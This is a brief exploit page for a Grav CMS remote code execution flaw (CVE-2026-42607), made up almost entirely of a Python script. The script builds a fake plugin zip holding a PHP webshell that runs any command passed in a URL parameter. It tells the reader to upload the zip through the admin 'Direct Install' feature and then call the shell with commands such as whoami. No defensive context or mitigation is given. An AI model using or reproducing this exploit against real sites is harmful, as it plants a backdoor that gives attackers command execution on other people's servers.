CVE-2026-42607 Grav远程代码执行漏洞

import zipfile import os # 1. Create malicious PHP code (Webshell) php_content = "<?php system($_GET['cmd']); ?>" # 2. Create a directory structure mimicking a Grav plugin plugin_name = "malicious_plugin" os.makedirs(plugin_name, exist_ok=True) # Write the malicious file inside the plugin folder shell_path = os.path.join(plugin_name, "vuln.php") with open(shell_path, "w") as f: f.write(php_content) # 3. Zip the directory zip_filename = "exploit.zip" with zipfile.ZipFile(zip_filename, 'w') as zipf: zipf.write(shell_path, arcname=os.path.join(plugin_name, "vuln.php")) print(f"[+] Created malicious ZIP file: {zip_filename}") print(f"[+] Upload this file to the 'Direct Install' section in Grav Admin panel.") print(f"[+] Access the shell at: /user/plugins/{plugin_name}/vuln.php?cmd=whoami") # Cleanup artifacts os.remove(shell_path) os.rmdir(plugin_name)